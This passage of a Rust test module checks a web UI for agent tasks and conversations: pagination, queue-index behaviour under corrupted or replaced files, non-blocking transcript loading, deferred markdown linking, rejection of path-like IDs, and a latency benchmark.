26262        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26263        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26264        let chats = serde_json::to_value(
26265            talks_page(
26266                State(ui.clone()),
26267                Query(PageQuery::default()),
26268                header::HeaderMap::new(),
26269            )
26270            .await
26271            .unwrap()
26272            .0,
26273        )
26274        .unwrap();
26275        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26276        assert!(chats["rows"][0].get("pending").is_none());
26277        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26278        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26279        assert_eq!(counts["held"], 1);
26280        assert_eq!(counts["blocked"], 1);
26281        assert_eq!(counts["queued"], 997);
26282    }
26283
26284    #[test]
26285    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26286        let dir = tempfile::tempdir().unwrap();
26287        let ui = delta_test_ui(dir.path());
26288        let mut task = Task::new(
26289            "task".into(),
26290            "body".into(),
26291            PathBuf::from("/repo"),
26292            Source::Human,
26293        );
26294        task.runs = vec!["run-a".into()];
26295        ui.queue.put(&mut task).unwrap();
26296        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26297        task.runs = vec!["run-b".into()];
26298        let path = ui.queue.path_of(&task.id);
26299        let modified = path.metadata().unwrap().modified().unwrap();
26300        let replacement = path.with_extension("replacement");
26301        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26302        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26303        std::fs::write(&replacement, &bytes).unwrap();
26304        std::fs::File::options()
26305            .write(true)
26306            .open(&replacement)
26307            .unwrap()
26308            .set_times(std::fs::FileTimes::new().set_modified(modified))
26309            .unwrap();
26310        std::fs::rename(&replacement, &path).unwrap();
26311        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26312        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26313        std::fs::write(&path, "broken").unwrap();
26314        assert!(ui.find_task_for_run("run-b").is_err());
26315        std::fs::write(&path, bytes).unwrap();
26316        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26317        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26318        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26319    }
26320
26321    #[tokio::test]
26322    async fn conversation_core_is_independent_of_unreadable_related_history() {
26323        let home = tempfile::tempdir().unwrap();
26324        let ui = delta_test_ui(home.path());
26325        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26326        std::fs::create_dir_all(ui.queue.root()).unwrap();
26327        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26328        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26329            .await
26330            .unwrap();
26331        assert_eq!(core.talk.id, id);
26332        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26333    }
26334
26335    #[test]
26336    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26337        let home = tempfile::tempdir().unwrap();
26338        let ui = delta_test_ui(home.path());
26339        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26340        let directory = home.path().join("workers/jobs/abcdef");
26341        std::fs::create_dir_all(&directory).unwrap();
26342        let job = crate::worker::Job {
26343            id: "abcdef".into(),
26344            sequence: 1,
26345            kind: "chat".into(),
26346            key: id.clone(),
26347            payload: serde_json::json!({ "talk": id }),
26348            generation: "test".into(),
26349            version: None,
26350            status: crate::worker::Status::Running,
26351            result: None,
26352            pid: None,
26353            created_at: 0,
26354            finished_at: None,
26355        };
26356        std::fs::write(
26357            directory.join("job.json"),
26358            serde_json::to_vec(&job).unwrap(),
26359        )
26360        .unwrap();
26361        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26362        let store =
26363            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26364        let runtime = tokio::runtime::Builder::new_current_thread()
26365            .enable_all()
26366            .max_blocking_threads(1)
26367            .build()
26368            .unwrap();
26369        runtime.block_on(async {
26370            let (release, held) = std::sync::mpsc::channel();
26371            let (started, ready) = tokio::sync::oneshot::channel();
26372            let occupied = tokio::task::spawn_blocking(move || {
26373                started.send(()).unwrap();
26374                held.recv().unwrap();
26375            });
26376            ready.await.unwrap();
26377            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26378            let bulk = ui
26379                .monitor
26380                .bulk_slots
26381                .clone()
26382                .acquire_many_owned(2)
26383                .await
26384                .unwrap();
26385            let result = tokio::time::timeout(
26386                Duration::from_secs(2),
26387                talk_core(State(ui.clone()), Path(id.clone())),
26388            )
26389            .await;
26390            // Release all blockers before assertions, including on a regression.
26391            drop(store);
26392            drop(bulk);
26393            release.send(()).unwrap();
26394            occupied.await.unwrap();
26395            let _ = secondary.await.unwrap().unwrap();
26396            let Json(core) = result
26397                .expect("transcript must bypass secondary work and the worker store lock")
26398                .unwrap();
26399            assert!(
26400                core.thinking,
26401                "read-only observation retains live worker state"
26402            );
26403            assert_eq!(core.talk.id, id);
26404            let admission_ui = ui.clone();
26405            let (release, held) = std::sync::mpsc::channel();
26406            let (started, ready) = tokio::sync::oneshot::channel();
26407            let admission = std::thread::spawn(move || {
26408                let _lock = admission_ui.talk_turns.lock().unwrap();
26409                started.send(()).unwrap();
26410                held.recv().unwrap();
26411            });
26412            ready.await.unwrap();
26413            let result = tokio::time::timeout(
26414                Duration::from_secs(2),
26415                talk_core(State(ui.clone()), Path(id.clone())),
26416            )
26417            .await;
26418            release.send(()).unwrap();
26419            admission.join().unwrap();
26420            assert!(
26421                result
26422                    .expect("display must not wait behind local admission")
26423                    .unwrap()
26424                    .0
26425                    .thinking
26426            );
26427            assert!(ui.is_thinking(&id));
26428            assert!(ui.is_thinking_observed(&id));
26429            drop(live);
26430            assert!(
26431                !ui.is_thinking_observed(&id),
26432                "a finished lease no longer appears live"
26433            );
26434            assert!(!ui.is_thinking(&id));
26435            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26436            assert!(
26437                ui.is_thinking_observed(&id),
26438                "local admission remains visible"
26439            );
26440        });
26441    }
26442
26443    #[tokio::test]
26444    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26445        let home = tempfile::tempdir().unwrap();
26446        let ui = delta_test_ui(home.path());
26447        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26448        let mut task = Task::new(
26449            "Referenced task".into(),
26450            "Unrelated instruction history".repeat(1024),
26451            home.path().into(),
26452            Source::Human,
26453        );
26454        task.id = "20261019-000000-abcd".into();
26455        ui.queue.put(&mut task).unwrap();
26456        let mut conversation = ui.talks.get(&id).unwrap();
26457        conversation.turns.push(talk::Turn {
26458            sender: Some(talk::Sender::Persona),
26459            who: talk::Who::Agent,
26460            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26461            at: conversation.created_at,
26462            attachments: Vec::new(),
26463            usage: None,
26464            breaks: None,
26465            messages: Vec::new(),
26466            posted_by: None,
26467        });
26468        ui.talks.put(&mut conversation).unwrap();
26469
26470        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26471        let markdown = serde_json::to_value(&core.turn_bodies_md)
26472            .unwrap()
26473            .to_string();
26474        assert!(markdown.contains("\"strong\""));
26475        assert!(markdown.contains("\"table\""));
26476        assert!(markdown.contains("\"bullet_list\""));
26477        assert!(markdown.contains("\"code_block\""));
26478        assert!(!markdown.contains("\"internal_link\""));
26479        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26480        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26481        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26482
26483        // Deferred decoration still resolves the same validated task, without
26484        // touching opaque code blocks or changing the original transcript.
26485        let references = ui.references.for_talk(home.path(), &conversation);
26486        let mut decorated = core.turn_bodies_md[0].clone();
26487        references.markdown(&mut decorated);
26488        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26489        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26490        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26491        assert_eq!(
26492            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26493            conversation.turns[0].body
26494        );
26495    }
26496
26497    #[tokio::test]
26498    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26499        let home = tempfile::tempdir().unwrap();
26500        let ui = delta_test_ui(home.path());
26501        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26502        let mut run = RunState::new(
26503            PathBuf::from("/repo"),
26504            "main".into(),
26505            "01234567".into(),
26506            "Useful run".into(),
26507            Config::default(),
26508        );
26509        run.save_under(home.path()).unwrap();
26510        let mut task = Task::new(
26511            "Related".into(),
26512            "body".into(),
26513            PathBuf::from("/repo"),
26514            Source::Agent {
26515                run: talk_id.clone(),
26516                node: "chat".into(),
26517            },
26518        );
26519        task.runs = vec![run.id.clone()];
26520        ui.queue.put(&mut task).unwrap();
26521        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26522        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26523        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26524        assert!(
26525            run_detail(State(ui.clone()), Path(run.id.clone()))
26526                .await
26527                .is_ok()
26528        );
26529        assert!(
26530            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26531                .await
26532                .is_ok()
26533        );
26534        // Previously indexed corruption must not masquerade as no relationship.
26535        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26536        assert!(ui.find_task_for_run(&run.id).is_err());
26537        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26538        ui.queue.put(&mut task).unwrap();
26539        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26540    }
26541
26542    #[tokio::test]
26543    async fn conversation_sections_omit_large_task_instructions() {
26544        let home = tempfile::tempdir().unwrap();
26545        let ui = delta_test_ui(home.path());
26546        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26547        let mut task = Task::new(
26548            "filed task".into(),
26549            "large instruction ".repeat(65536),
26550            PathBuf::from("/repo"),
26551            Source::Agent {
26552                run: id.clone(),
26553                node: "chat".into(),
26554            },
26555        );
26556        ui.queue.put(&mut task).unwrap();
26557        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26558        assert_eq!(sections["tasks"][0]["id"], task.id);
26559        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26560        assert!(sections["tasks"][0].get("instruction").is_none());
26561        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26562    }
26563
26564    #[test]
26565    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26566        let home = tempfile::tempdir().unwrap();
26567        let talks = Talks::at(home.path().join("talks"));
26568        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26569        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26570        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26571        assert!(resolve_talk(&talks, "../outside").is_err());
26572        assert!(resolve_talk(&talks, "abcd").is_err());
26573        assert_eq!(
26574            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26575            "20261019-000001-abcd"
26576        );
26577    }
26578
26579    include!(concat!(
26580        env!("CARGO_MANIFEST_DIR"),
26581        "/tests/web_latency/baseline.rs"
26582    ));
26583
26584    include!(concat!(
26585        env!("CARGO_MANIFEST_DIR"),
26586        "/tests/web_latency/lists.rs"
26587    ));
26588
26589    #[tokio::test]
26590    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26591    async fn web_history_latency_measurement() {
26592        use std::time::Instant;
26593        let home = tempfile::tempdir().unwrap();
26594        let ui = delta_test_ui(home.path());
26595        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26596        let mut template = ui.talks.get(&id).unwrap();
26597        template.turns = serde_json::from_value(serde_json::json!([{
26598            "who": "operator", "body": "Show the accumulated work and its current status.",
26599            "at": Timestamp::now().to_string(),
26600        }]))
26601        .unwrap();
26602        std::fs::write(
26603            ui.talks.path_of(&id),
26604            serde_json::to_vec(&template).unwrap(),
26605        )
26606        .unwrap();
26607        let count = std::env::var("MAGI_BENCH_RECORDS")
26608            .ok()
26609            .and_then(|s| s.parse::<usize>().ok())
26610            .unwrap_or(1000);
26611        for i in 0..count {
26612            template.id = format!("20261019-{i:06}-history");
26613            template.pending = "history ".repeat(2048);
26614            std::fs::write(
26615                ui.talks.path_of(&template.id),
26616                serde_json::to_vec(&template).unwrap(),
26617            )
26618            .unwrap();
26619            let mut task = Task::new(
26620                "old task".into(),
26621                "instruction ".repeat(2048),
26622                PathBuf::from("/repo"),
26623                Source::Human,
26624            );
26625            task.id = format!("20261019-{i:06}-task");
26626            ui.queue.put(&mut task).unwrap();
26627        }
26628        for baseline in [true, false] {
26629            for clients in [1, 4] {
26630                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26631                let mut samples = Vec::new();
26632                for _ in 0..12 {
26633                    let mut jobs = Vec::new();
26634                    for _ in 0..clients {
26635                        let ui = ui.clone();
26636                        let id = id.clone();
26637                        jobs.push(tokio::spawn(async move {
26638                            let start = Instant::now();
26639                            if baseline {
26640                                let response =
26641                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26642                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26643                                return (
26644                                    elapsed,
26645                                    elapsed,
26646                                    serde_json::to_vec(&response).unwrap().len(),
26647                                );
26648                            }
26649                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26650                            let secondary = talk_sections(State(ui), Path(id));
26651                            let (first, total) = tokio::join!(
26652                                async {
26653                                    let value = core.await.unwrap().0;
26654                                    (
26655                                        start.elapsed().as_secs_f64() * 1000.0,
26656                                        serde_json::to_vec(&value).unwrap().len(),
26657                                    )
26658                                },
26659                                async {
26660                                    let value = secondary.await.unwrap().0;
26661                                    (
26662                                        start.elapsed().as_secs_f64() * 1000.0,
26663                                        serde_json::to_vec(&value).unwrap().len(),
26664                                    )
26665                                }
26666                            );
26667                            (first.0, first.0.max(total.0), first.1 + total.1)
26668                        }));
26669                    }
26670                    for job in jobs {
26671                        samples.push(job.await.unwrap());
26672                    }
26673                }
26674                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26675                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26676                first.sort_by(f64::total_cmp);
26677                total.sort_by(f64::total_cmp);
26678                let n = first.len();
26679                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26680                println!(
26681                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26682                    first[n / 2],
26683                    first[(n * 95 / 100).min(n - 1)],
26684                    total[n / 2],
26685                    total[(n * 95 / 100).min(n - 1)],
26686                    samples[0].2
26687                );
26688            }
26689        }
26690    }
26691
26692    #[test]
26693    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26694        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26695        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26696        assert!(APP_JS.contains("function nextRunRequest(id)"));
26697        assert!(APP_JS.contains("function runShell(id, summary)"));
26698        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26699        assert!(APP_JS.contains("function taskShell(id, summary)"));
26700        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26701    }
26702}